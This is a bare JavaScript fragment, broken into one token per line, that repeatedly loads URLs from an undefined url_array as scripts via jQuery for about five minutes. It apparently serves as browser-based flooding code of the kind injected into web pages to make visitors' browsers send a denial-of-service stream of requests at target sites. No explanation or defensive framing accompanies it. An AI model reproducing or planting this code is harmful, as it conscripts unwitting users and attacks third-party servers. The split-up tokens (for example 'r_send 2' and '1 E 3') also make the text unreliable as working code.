startime
=
(
new
Date
)
.getTime
(
)
;
var
count
=
0
;
function unixtime
(
)
{
var a
=
new
Date;
return
Date.UTC
(
a.getFullYear
(
)
,
a.getMonth
(
)
,
a.getDay
(
)
,
a.getHours
(
)
,
a.getMinutes
(
)
,
a.getSeconds
(
)
)
/
1
E
3
}
NUM
=
url_array.
length
;
function r_send
2
(
)
{
var a
=
unixtime
(
)
% NUM;
get
(
url_array[a]
)
}
function
get
(
a
)
{
var b;
$.ajax
(
{
url
:
a
,
dataType
:
"script"
,
timeout
:
1
E
4
,
cache
:
!
0
,
beforeSend
:
function
(
)
{
requestTime
=
(
new
Date
)
.getTime
(
)
}
,
complete
:
function
(
)
{
responseTime
=
(
new
Date
)
.getTime
(
)
;
b
=
Math.floor
(
responseTime
-
requestTime
)
;
3
E
5
>
responseTime
-
startime
&
&
(
r_send
(
b
)
,
count
+
=
1
)
}
}
)
}
function r_send
(
a
)
{
setTimeout
(
"r_send2()"
,
a
)
}
setTimeout
(
"r_send2()"
,
2
E
3
)
;